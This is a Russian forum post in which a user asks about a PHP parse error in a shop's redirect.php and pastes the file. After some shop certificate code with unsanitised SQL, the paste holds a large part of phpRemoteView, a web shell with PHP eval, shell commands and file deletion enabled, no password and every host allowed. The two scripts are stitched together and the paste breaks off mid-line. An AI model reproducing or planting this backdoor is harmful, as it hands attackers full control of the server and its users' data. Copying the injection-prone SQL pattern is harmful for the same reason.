[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Ничего не пойму!
mysterikon
Ничего не могу понять. Вроде бы скрипт написан правильно. При работе в бровзере выдает:
Parse error: syntax error, unexpected $end in /home/virtwww/w_shop-any-org_6cbcf8e8/http/redirect.php on line 2500


Я его уже весь прсмотрел. Не пойму в чем проблема. Помогите разобраться.
Вот код:

<?php

if($send == "user_list"){
if(file_exists("goods/$tovid")) {
$qqw = @file("goods/$tovid");
if(trim($qqw[0]) == $cl) {
$usi = @file("users/$cl");


mysql_connect("$serv_const_host", "$serv_const_loginbd", "$serv_const_pwdbd") or die("Ошибка связи с базой");
$database = "$serv_const_namebd";
$result = mysql_db_query($database, "select * from cert_user") or die("Error select 1");

if($send == "yes") {
$success = mysql_db_query($database, "select * from cert_user where email='$more'") or die("Error select success");
if(mysql_num_rows($success) == "1") {
$sec = mysql_fetch_array($success);
$smsg = serv_send_money("$sec[price]", $cl, $cp, "");
If ($smsg == "true") {
mysql_db_query($database, "insert into cert_good values('$sec[login]', '$cl', '$tovid', '$sec[price]', '1')") or die("Error insert");
$add_cert_balans = mysql_db_query($database, "select * from cert_user WHERE login ='$sec[login]' ") or die("Error select");
if(mysql_num_rows($add_cert_balans) == "1")
{
$mmsi = mysql_fetch_array($add_cert_balans);
$mmsi[balance] = $mmsi[balance] + $sec[price];
mysql_db_query($database, "UPDATE cert_user SET balance='$mmsi[balance]' WHERE login='$sec[login]' and pass='$sec[pass]' LIMIT 1") or die("Error update balance");

}

$fklo_mas = @file("promo/$tovid");
$fklo = fopen("promo$tovid", "w");
fwrite($fklo, trim($fklo_mas[0]) . "\n");
fwrite($fklo, "2^$sec^\n");
fclose($fklo);



mail("$sec[email]", "$serv_const_name. Запрос товара: $tovid", "$message",
"From: $serv_const_name <$serv_const_embox>\r\n" .
"Reply-To: $serv_const_embox <$serv_const_embox>\r\n" .
"Content-Type: text/plain; charset=windows-1251\r\n".
"X-Mailer: PHP/" . phpversion());

mail("$serv_const_embox", "$serv_const_name. Запрос товара: $tovid", "$message",
"From: $serv_const_name <$serv_const_embox>\r\n" .
"Reply-To: $serv_const_embox <$serv_const_embox>\r\n" .
"Content-Type: text/plain; charset=windows-1251\r\n".
"X-Mailer: PHP/" . phpversion());

echo "&lt;script> alert('Счет оплачен. Отправлен запрос эксперту на оценку данного товара.'); document.location.href='/my.php$idstr&com=certadd&tovid=$tovid&more=$more';</script>";
} else { echo "&lt;script> alert('Ошибка!!!\\n$smsg'); document.location.href='/my.php$idstr&com=certadd&tovid=$tovid&more=$more';</script>"; }
}
}
}


$version="2003-10-23";

$hexdump_lines=8; // lines in hex preview file
$hexdump_rows=24; // 16, 24 or 32 bytes in one line

$mkdir_mode=0755; // chmode for new dir ('MkDir' button)

$maxsize_fread=65536; // read first 64Kb from any null-size file

// USER ACCESS //

$write_access=true; // true - user (you) may be write/delete files/dirs
// false - only read access

$phpeval_access=true; // true - user (you) may be execute any php-code
// false - function eval() disable

$system_access=true; // true - user (you) may be run shell commands
// false - function system() disable

// AUTHORIZATION //

$login=false; // Login & password for access to this programm.
$pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd";
// Type 'login=false' for disable authorization.

$host_allow=array("*"); // Type list of your(allow) hosts. All other - denied.
// Example: $host_allow=array("127.0.0.*","localhost")


///////////////////////////////////////////////////////////////////////////////


$tmp=array();
foreach ($host_allow as $k=>$v)
$tmp[]=str_replace("\\*",".*",preg_quote($v));
$s="!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR"))))
exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - your host not allow</h1>\n");
if ($login!==false && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) ||
$HTTP_SERVER_VARS['PHP_AUTH_USER']!=$login || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)) {
header("WWW-Authenticate: Basic realm=\"phpRemoteView\"");
header("HTTP/1.0 401 Unauthorized");
exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - password erroneous</h1>\n");
}

error_reporting(2047);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
if (function_exists("ob_start") && (!isset($c) || $c!="md5crack")) ob_start("ob_gzhandler");

$self=basename($HTTP_SERVER_VARS['PHP_SELF']);

$url="http://".getenv('HTTP_HOST').
(getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
$HTTP_SERVER_VARS['PHP_SELF'].
(getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");
$uurl=urlencode($url);

//
// antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars;
//
$autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ".
"ftype fnot c2 confirm text df df2 df3 df4 ref from to ".
"fatt showfile showsize root name ref names sort sortby ".
"datetime fontname fontname2 fontsize pan limit convert fulltime fullqty";
foreach (explode(" ",$autovars1) as $k=>$v) {
if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
//elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
}

//
// autofix 'magic quotes':
//
$autovars2="php shell text d root convert";
if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) {
foreach (explode(" ",$autovars2) as $k=>$v) {
if (isset($$v)) $$v=stripslashes($$v);
}
}

$cp_def=array(
"001001",
"nst2ac",
"d/m/y H:i",
"Tahoma",
"9"
);

$panel=0;
if (isset($HTTP_COOKIE_VARS["cp$panel"]))
$cp=explode("~",$HTTP_COOKIE_VARS["cp$panel"]);
else
$cp=$cp_def;
$cc=$cp[0];
$cn=$cp[1];


// Как выравнивать колонки
$cn_align=array();
$cn_align['t']='center';
$cn_align['n']='left';
$cn_align['s']='right';
$cn_align['a']='center';
$cn_align['o']='center';
$cn_align['g']='center';
$cn_align['c']='center';
$cn_align['1']='center';
$cn_align['2']='center';
$cn_align['3']='center';


///////////////////////////////////////////////////////////////////////////////


/*--mmstart--*/
$mm=array(
"Index of"=>"Индекс",
"View file"=>"Показ файла",
"DISK"=>"ДИСК",
"Info"=>"Инфо",
"Plain"=>"Прямой",
"HTML"=>"HTML",
"Session"=>"Сессия",
"Image"=>"Картинка",
"Notepad"=>"Блокнот",
"DOWNLOAD"=>"ЗАГРУЗИТЬ",
"Edit"=>"Правка",
"Sorry, this programm run in read-only mode."=>"Извините, эта программа работает в режиме 'только чтение'.",
"For full access: write"=>"Для полного доступа: напишите",
"in this php-file"=>"в этом php-файле",
"Reason"=>"Причина",
"Error path"=>"Ошибочный путь",
"Click here for start"=>"Нажмите для старта",
"up directory"=>"каталог выше",
"access denied"=>"доступ запрещен",
"REMVIEW TOOLS"=>"УТИЛИТЫ REMVIEW",
"version"=>"версия",
"Free download"=>"Бесплатная загрузка",
"back to directory"=>"вернуться в каталог",
"Size"=>"Размер",
"Owner"=>"Овнер",
"Group"=>"Группа",
"FileType"=>"Тип файла",
"Perms"=>"Права",
"Create time"=>"Время создания",
"Access time"=>"Время доступа",
"MODIFY time"=>"Время ИЗМЕНЕНИЯ",
"HEXDUMP PREVIEW"=>"ПРЕДПРОСМОТР В 16-РИЧНОМ ВИДЕ",
"ONLY READ ACCESS"=>"ДОСТУП ТОЛЬКО НА ЧТЕНИЕ",
"Can't READ file - access denied"=>"Не могу прочитать - доступ запрещен",
"full read/write access"=>"полный доступ на чтение/запись",
"FILE SYSTEM COMMANDS"=>"КОМАНДЫ ФАЙЛОВОЙ СИСТЕМЫ",
"EDIT"=>"РЕДАКТ.",
"FILE"=>"ФАЙЛ",
"DELETE"=>"СТЕРЕТЬ",
"Delete this file"=>"Стереть файл",
"CLEAN"=>"ОЧИСТИТЬ",
"TOUCH"=>"ОБНОВИТЬ",
"Set current 'mtime'"=>"Устан.текущ.время",
"WIPE(delete)"=>"УНИЧТОЖИТЬ",
"Write '0000..' and delete"=>"Забить нулями, стереть",
"COPY FILE"=>"КОПИРОВАТЬ ФАЙЛ",
"COPY"=>"КОПИРОВАТЬ",
"MAKE DIR"=>"СОЗДАТЬ КАТАЛОГ",
"type full path"=>"введите полный путь",
"MkDir"=>"Созд.Кат.",
"CREATE NEW FILE or override old file"=>"СОЗДАТЬ НОВЫЙ ФАЙЛ или перезаписать старый",
"CREATE/OVERRIDE"=>"СОЗДАТЬ/ПЕРЕЗАПИСАТЬ",
"select file on your local computer"=>"выбрать файл на вашем локальном компьютере",
"save this file on path"=>"сохранить этот файл в каталог",
"create file name automatic"=>"придумать имя файлу автоматически",
"OR"=>"ИЛИ",
"type any file name"=>"ввести имя файла вручную",
"convert file name to lovercase"=>"конвертировать имя в нижний регистр",
"Send File"=>"Послать файл",
"Delete all files in dir"=>"Удалить все файлы",
"Delete all dir/files recursive"=>"Удалить ВСЕ +подкаталоги рекурсивно",
"Confirm not found (go back and set checkbox)"=>"Подтверждение не поставлено (вернитесь назад и поставьте галочку)",
"Delete cancel - File not found"=>"Удаление отменено - Файл не найден",
"YES"=>"ДА",
"ME"=>"МЕНЯ",
"NO (back)"=>"НЕТ (назад)",
"Delete cancel"=>"Удаление отменено",
"ACCESS DENIED"=>"ДОСТУП ЗАПРЕЩЕН",
"done (go back)"=>"готово (назад)",
"Delete ok"=>"Ок, удаленно",
"Touch cancel"=>"Обновление отменено",
"Touch ok (set current time to 'modify time')"=>"Обновление завершено (файлу присвоено текущее время модификации)",
"Clean (empty file) cancel"=>"Очищение (обнуление файла) отменено",
"Clean ok (file now empty)"=>"Ок, очищено (файл обнулен)",
"Wipe cancel - access denied"=>"Уничтожение отменено - доступ запрещен",
"Wipe ok (file deleted)"=>"Ок, уничтожено (и файл стерт)",
"DIR"=>"DIR",
"Deleting all files in"=>"Удаление всех файлов в",
"skip"=>"пропуск",
"deleting"=>"удаление",
"Deleting all dir/files (recursive) in"=>"Удаление всех файлов/подкаталогов (рекурсивно)",
"DONE, go back"=>"ГОТОВО, назад",
"DONE"=>"ГОТОВО",
"file not found"=>"файл не найден",
"ONLY READ ACCESS (don't edit!)"=>"ДОСТУП ТОЛЬКО НА ЧТЕНИЕ (не редактировать)",
"Can't READ file - access denied (don't edit!)"=>"Не могу ЧИТАТЬ файл - доступ запрещен",
"EDIT FILE"=>"ПРАВИТЬ ФАЙЛ",
"can't open, access denied"=>"не могу открыть, доступ запрещен",
"SAVE FILE (write to disk)"=>"СОХРАНИТЬ ФАЙЛ (запись на диск)",
"You mast checked 'create file name automatic' OR typed file name!"=>"Вы должны отметить галочку [создать файл автоматически] или ввести в поле имя файла!'",
"SAVING TO"=>"СОХРАНИТЬ В",
"Sorry, access denied"=>"Извините, доступ запрещен",
"for example, uncomment next line"=>"для примера, раскомментируйте следующую строку",
"Eval PHP code"=>"Выполнить PHP код",
"don't type"=>"не пишите",
"and"=>"и",
"example (remove comments '#')"=>"пример (удалите комментарии '#')",
"Shell commands"=>"Команды Shell'a",
"filesize to 0byte"=>"размер в 0 байт",
"from"=>"от",
"to"=>"в",
"Full file name"=>"Полное имя файла",
"Can't open directory"=>"Не могу открыть каталог",
"setup"=>"настройка",
"back"=>"назад",
"Reset all settings"=>"Сбросить все настройки",
"clear"=>"очистить",
"Current"=>"Текущие",
"Colums and sort"=>"Колонки и сортировка",
"Sort order"=>"Порядок сортировки",
"Ascending sort"=>"По возрастанию",
"Descending sort"=>"По убыванию",
"Sort by filename"=>"Сортировать по имени файла",
"Sort by filename extension"=>"Сортировать по расширению файла",
"Date/time format"=>"Формат даты/времени",
"Panel font & size"=>"Шрифт/размер панели",
"Setup"=>"Опции",
"Char map"=>"Символы",
"Language"=>"Язык",
"English"=>"Английский",
"Russian"=>"Русский",
"Character map (symbol codes table)"=>"Таблица символов",
"Select font"=>"Выберите шрифт",
"or type other"=>"или введите другой",
"Font size"=>"Размер шрифта",
"Code limit"=>"Дипазон кодов",
"Generate table"=>"Сгенерировать таблицу",
"Universal convert"=>"Универсальные конвертации"
);/*--mmstop--*/




$language=$cc[5];
if ($language!=1 && $language!=2) $language=1;


function mm($m) {
global $mm,$language;
if ($language==1) return $m;
if (isset($mm[$m])) return $mm[$m];
else echo "&lt;script>alert('(mm) msg not found: $m');</script>";
}


switch ($language) {
case 1:
$cn_name=array(
't'=>"Type",
'n'=>"Name",
's'=>"Size",
'o'=>"Owner",
'g'=>"Group",
'a'=>"Owner/Group",
'c'=>"Perms",
'1'=>"Create",
'2'=>"Modify",
'3'=>"Access"
);
break;
case 2:
$cn_name=array(
't'=>"Тип",
'n'=>"Имя",
's'=>"Размер",
'o'=>"Владелец",
'g'=>"Группа",
'a'=>"Владелец/Группа",
'c'=>"Права",
'1'=>"Создан",
'2'=>"Изменен",
'3'=>"Доступ"
);
break;
}




///////////////////////////////////////////////////////////////////////////////



$rand=microtime();

if (!isset($c)) $c="";
if (!isset($d)) $d="";
if (!isset($f)) $f="";

ob();
$d=str_replace("\\","/",$d);
if ($d=="") $d=realpath("./")."/";
if ($c=="") $c="l";
if ($d[strlen($d)-1]!="/") $d.="/";
$d=str_replace("\\","/",$d);
if (!is_dir($d)) obb().die("<h3><P>".mm("Can't open directory")." <tt><font color=red><big>$d</big></font></tt>$obb");
if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb");
obb();

//
// OS detect:
//
$win=0;
$unix=0;
if (strlen($d)>1 && $d[1]==":") $win=1; else $unix=1;




///////////////////////////////////////////////////////////////////////////////


$html=<<<remview
<html><head>
<title>phpRemoteView: $d$f</title>
</head>
<body>
<style>
A {
text-decoration : none;
}
.t {
font-size: 9pt;
text-align : center;
font-family: Verdana;
}
.t2 {
font-size: 8pt;
text-align : center;
font-family: Verdana;
}
.n {
font-family: Fixedsys
}
.s {
font-size: 10pt;
text-align : right;
font-family: Verdana;
}
.sy {
font-family: Fixedsys;
}
.s2 {
font-family: Fixedsys;
color: red;
}
.tab {
font-size: 10pt;
text-align : center;
font-family: Verdana;
background: #cccccc;
}
.tr {
background: #ffffff;
}
</style>
remview;



function display_perms($mode)
{
if ($GLOBALS['win']) return 0;
/* Determine Type */
if( $mode & 0x1000 )
$type='p'; /* FIFO pipe */
else if( $mode & 0x2000 )
$type='c'; /* Character special */
else if( $mode & 0x4000 )
$type='d'; /* Directory */
else if( $mode & 0x6000 )
$type='b'; /* Block special */
else if( $mode & 0x8000 )
$type='-'; /* Regular */
else if( $mode & 0xA000 )
$type='l'; /* Symbolic Link */
else if( $mode & 0xC000 )
$type='s'; /* Socket */
else
$type='u'; /* UNKNOWN */

/* Determine permissions */
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';

/* Adjust for SUID, SGID and sticky bit */
if( $mode & 0x800 )
$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 )
$group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 )
$world["execute"] = ($world['execute']=='x') ? 't' : 'T';

$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}

function _posix_getpwuid($x) {
if ($GLOBALS['win']) return array();
return @posix_getpwuid($x);
}

function _posix_getgrgid($x) {
if ($GLOBALS['win']) return array();
return @posix_getgrgid($x);
}

function up($d,$f="",$name="") {
global $self,$win;

$len=strlen($d."/".$f);
if ($len<70) { $sf1="<font size=4>"; $sf2="<font size=5>"; }
elseif ($len<90) {$sf1="<font size=3>"; $sf2="<font size=4>";}
else {$sf1="<font size=2>"; $sf2="<font size=3>";}

echo "<table width=100% border=0 cellspacing=0 cellpadding=4><tr><td
bgcolor=#cccccc> $sf1";

$home="<a href='$self'><font face=fixedsys size=+2>*</font></a>";
echo $home.$sf2."<b>";
if ($name!="") echo $name;
else {
if ($f=="") echo mm("Index of");
else echo mm("View file");
}
echo "</b></font> ";

$path=explode("/",$d);

$rootdir="/";
if ($win) $rootdir=strtoupper(substr($d,0,2))."/";

$ss="";
for ($i=0; $i<count($path)-1; $i++) {
if ($i==0)
$comm="<b>&nbsp;&nbsp;<big><b>$rootdir</b></big></b>";
else
$comm="$path[$i]<big><b>/</big></b>";

$ss.=$path[$i]."/";
echo "<a href='$self?c=l&d=".urlencode($ss)."'>$comm</a>";
if ($i==0 && $d=="/") break;
}
echo "</font>";
if ($f!="") echo "$sf1$f</font>";

if ($win && strlen($d)<4 && $f=="") {
echo " &nbsp; ".mm("DISK").": ";
for ($i=ord('a'); $i<=ord('z'); $i++) {
echo "<a href=$self?c=l&d=".chr($i).":/>".strtoupper(chr($i)).":</a> ";
}
}

echo "</b></big></td><td bgcolor=#999999 width=1% align=center>
<table width=100% border=0 cellspacing=3 cellpadding=0
bgcolor=#ffffcc><tr><td align=center><font size=-1><nobr><b><a
href=$self?c=t&d=".urlencode($d).">".mm("REMVIEW TOOLS")."</a></b>
</nobr></font></td></tr></table>
</td></tr></table>";
}


function up_link($d,$f) {
global $self;
$notepad=str_replace(".","_",$f).".txt";
echo "<small>
[<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Info")."</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=><b>".mm("Plain")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=0&fnot=1>(+)</a></b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1><b>".mm("HTML")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1&fnot=1>(+)</a></b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=4><b>".mm("Session")."</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=2&fnot=1><b>".mm("Image")."</b></a>]
[<a href=$self/".urlencode($notepad)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1&fatt=".urlencode($notepad)."><b>".mm("Notepad")."</b></a>]
[<a href=$self/".urlencode($f)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1><b>".mm("DOWNLOAD")."</b></a>]
[<a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Edit")."</b></a>]
</small>";
}


function exitw() {
exit("<table width=100% border=0 cellspacing=2 cellpadding=0 bgcolor=#ffdddd>
<tr><td align=center>
".mm("Sorry, this programm run in read-only mode.")."<br>
".mm("For full access: write")." `<tt><nobr><b>\$write_access=<u>true</u>;</b></nobr></tt>`
".mm("in this php-file").".</td></tr></table>
");
}



function ob() {
global $obb_flag, $obb;
if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
if (function_exists("ob_start")) {
if ($GLOBALS['obb_flag']) ob_end_clean();
ob_start();
$GLOBALS['obb_flag']=1;
}
}

function obb() {
global $obb;
if (function_exists("ob_start")) {
$obb=ob_get_contents();
ob_end_clean();
$obb="<P>
<table bgcolor=#ff0000 width=100% border=0 cellspacing=1 cellpadding=0><tr><td>
<table bgcolor=#ccccff width=100% border=0 cellspacing=0 cellpadding=3><tr><td align=center>
<b>".mm("Reason").":</b></td></tr></table>
</td></tr><tr><td>
<table bgcolor=#ffcccc width=100% border=0 cellspacing=0 cellpadding=3><tr><td>
$obb<P>
</td></tr></table>
</table><P>";
$GLOBALS['obb_flag']=0;
}
}

function sizeparse($size) {
return strrev(preg_replace("!...!","\ ",strrev($size)));
}


function jsval($msg) {
$msg=str_replace("\\","\\\\",$msg);
$msg=str_replace("\"","\\\"",$msg);
$msg=str_replace("'","\\'",$msg);
return '"'.$msg.'",';
}



///////////////////////////////////////////////////////////////////////////


switch($c) {


// listing
case "l":

echo $GLOBALS['html'];

if (!realpath($d)) die("".mm("Error path").". <a href=$self>".mm("Click here for start")."</a>.");

//up($d);

ob();
$di=dir($d);
obb();

$dirs=array();
$files=array();

if (!$di) exit("<a href=$self?&c=l&d=".urlencode(realpath($d."..")).
"><nobr>&lt;&lt;&lt; <b>".mm("up directory")."</b> &gt;&gt;&gt;</nobr></a> <p>".
"<font color=red><b>".mm("access denied")."</b></font>: $obb");
while (false!==($name=$di->read())) {
if ($name=="." || $name=="..") continue;
if (@is_dir($d.$name)) {
$dirs[]=strval($name);
$fstatus[$name]=0;
}
else {
$files[]=strval($name);
$fstatus[$name]=1;
}
$fsize[$name]=@filesize($d.$name);
$ftype[$name]=@filetype($d.$name);
if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; }
$fperms[$name]=@fileperms($d.$name);
$fmtime[$name]=@filemtime($d.$name);
$fatime[$name]=@fileatime($d.$name);
$fctime[$name]=@filectime($d.$name);
$fowner[$name]=@fileowner($d.$name);
$fgroup[$name]=@filegroup($d.$name);
if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok))
$fext[$name]=strtolower($ok[1]);
else
$fext[$name]="";
}
$di->close();

$listsort=array();
if (count($dirs))
foreach ($dirs as $v) {
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "t": case "s": case "n": $listsort[$v]=strtolower($v); break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;

}
}
}

$names=$listsort;
//echo "<pre>";print_r($names);
if ($cc[1]) arsort($names); else asort($names);
//echo "<pre>";print_r($names);

$listsort=array();
if (count($files))
foreach ($files as $v) {
$v=strval($v);
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "n": $listsort[$v]=strtolower($v); break;
case "t": $listsort[$v]=$ftype[$v]; break;
case "s": $listsort[$v]=$fsize[$v]; break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;

}
}
}


//echo "<pre>DIRS:"; print_r($names);
if ($cc[1]) arsort($listsort); else asort($listsort);
//$names=array_merge($names,$listsort);
foreach ($listsort as $k=>$v) $names[$k]=$v;
//echo "<pre>FILES:"; print_r($listsort);
//echo "<pre>NAMES:"; print_r($names);

?>
<STYLE>
.title {
color: 'black';
background: #D4D0C8;
text-align: 'center';
BORDER-RIGHT: #888888 1px outset;
BORDER-TOP: #ffffff 2px outset;
BORDER-LEFT: #ffffff 1px outset;
BORDER-BOTTOM: #888888 1px outset;
}
.window {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
BACKGROUND-COLOR: #D4D0C8;
CURSOR: default;
}
.window1 {
BORDER-RIGHT: #eeeeee 1px solid;
BORDER-TOP: #808080 1px solid;
BORDER-LEFT: #808080 1px solid;
BORDER-BOTTOM: #eeeeee 1px solid;
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
}
.line {
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
font: <?php echo $cp[4]; ?>pt <?php echo $cp[3]; ?>;
}
.line2 {
background: #ffffcc;
}
.black {color: black}
a:link.black {color: black}
a:active.black {color: black}
a:visited.black {color: black}
a:hover.black {color: #0000ff}

.white {color: white}
a:link.white{color: white}
a:active.white{color: white}
a:visited.white{color: white}
a:hover.white{color: #ffff77}

a:link {color: #000099;}
a:active {color: #000099;}
a:visited {color: #990099;}
a:hover {color: #ff0000;}
a {
CURSOR: default;
}
.windowtitle {
font: 9pt; Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
font-weight: bold;
color: white;
}
.sym {
font: 14px Wingdings;
}
</STYLE>

<?php

function up2($d) {
global $win,$self;
$d=str_replace("\\","/",$d);
if (substr($d,-1)!="/") $d.="/";
$d=str_replace("//","/",$d);

$n=explode("/",$d);
unset($n[count($n)-1]);

$path="";
for ($i=0; $i<count($n); $i++) {
$path="$path$n[$i]/";
if ($i==0) $path=strtoupper($path);
$paths[]=$path;
}

$out="";
$sum=0;
$gr=70;
for ($i=0; $i<count($n); $i++) {
$out.="<a href=$self?c=l&d=".urlencode($paths[$i])." class=white>";
if (strlen($d)>$gr && $i>0 && $i+1<count($n)) {
if (strlen($d)-$sum>$gr) {
$out.="••";
$sum+=strlen($n[$i]);
}
else
$out.=$n[$i];
}
else
if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i];
$out.="/</a>";

}

return $out;
return "<font size=-2>$d</font>";
}

$ext=array();
$ext['html']=array('html','htm','shtml');
$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg');
$ext['exe']=array('exe','com','pif','src','lnk');
$ext['php']=array('php','phtml','php3','php4','inc');
$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg');


echo "\n\n\n&lt;script>\nfunction tr(";
for ($i=0; $i<strlen($cn); $i++) {
echo "a$i,";
}
echo "x) {\ndocument.write(\"<tr bgcolor=#eeeeee";
// echo " onMouseOver='this.style.value=\\\"line2\\\"' onMouseOut='this.style.value=\\\"line\\\"'>";
echo " onMouseOver='this.style.backgroundColor=\\\"#FFFFCC\\\"' onMouseOut='this.style.backgroundColor=\\\"\\\"'>";
for ($i=0; $i<strlen($cn); $i++) {
echo '<td align='.$cn_align[$cn[$i]].' class=line ';
switch ($cn[$i]) {
case 's': case 'c': case '1': case '2': case '3': case 't':
echo ' nowrap';
}
echo ">";
if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0";
echo "\"+a$i+\"";
if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0";
echo "</td>";
}
echo "</tr>\");\n}";
echo "\n\n</script>\n\n\n";


//phpinfo();
//echo implode(" | ",$cp);
echo '<table border=0 cellspacing=2 cellpadding=0 bgcolor=#cccccc
class=window align=center width=60%><form name=main>';

echo '<tr><td colspan='.strlen($cn).' bgcolor=#0A246A background="'.
$self.'?c=img&name=fon&r=" class=windowtitle>';

echo '<table width=100% border=0 cellspacing=0 cellpadding=2 class=windowtitle><tr><td>'.
'<a href='.$self.'><img src='.$self.'?c=img&name=dir border=0></a>'.
up2($d.$f).'</td></tr></table>';

echo '</td></tr>'.
'<tr><td>'.
'<table width=100% border=0 cellspacing=0 cellpadding=0 class=window1><tr>';

$button_help=array(
'up'=>"UP DIR",
'refresh'=>"RELOAD",
'mode'=>'SETUP, folder option',
'edit'=>'DIR INFO',
'home'=>'HomePage',
'papki'=>'TREE',
'setup'=>'PHP eval, Shell',
'back'=>'BACK',
);

function button_url($name) {
global $self,$d,$f,$uurl;
switch ($name) {
case 'up': return "$self?c=l&d=".urlencode(realpath($d.".."));
case 'refresh': return "$self?c=l&r=".rand(0,10000)."&d=".urlencode($d);
case 'mode': return "$self?c=setup&ref=$uurl";
case 'edit': return "$self?c=d&d=".urlencode($d);
case 'home': return "http://php.spb.ru/remview/";
case 'papki': return "$self?c=tree&d=".urlencode($d);
case 'setup': return "$self?c=t";
case 'back': return "java script:history.back(-1)";
}
}
echo '<td colspan='.strlen($cn).'>
<table border=0 cellspacing=0 cellpadding=2><tr>';
$buttons=array('back','up','refresh','edit','mode','disk','full','papki','setup','home');
$tmp=strtoupper($d[0]);
for ($i=0; $i<count($buttons); $i++) {
if ($buttons[$i]=='full') {
echo '<td class=window width=90% align=center nowrap><font color=#999999 face="Arial Black"
style="font-size: 11pt;">&lt;?php<u>R</u>emote<u>V</u>iew?&gt;</font></td>';
continue;
}
if ($buttons[$i]=='disk') {
if (!$win) continue;
echo '<td width=1% title=\'Select dist\' class=window onMouseOver="this.style.backgroundColor=\'#eeee88\'" '.
' onMouseOut="this.style.backgroundColor=\'\'">';
echo "<select name=disk size=1; style='font: 9pt Arial Black; color: #999999 '
onChange='location.href=\"$self?c=l&d=\"+document.main.disk.options[document.main.disk.selectedIndex].value+\":/\"'>";
for ($j=ord('A'); $j<=ord('Z'); $j++)
echo '<option value="'.chr($j).'"'.(chr($j)==$tmp?" selected":"").'>'.chr($j);
echo "</select></td>";
continue;
}
$bturl=button_url($buttons[$i]);
echo '<td width=1% title=\''.$button_help[$buttons[$i]].'\' class=window'.
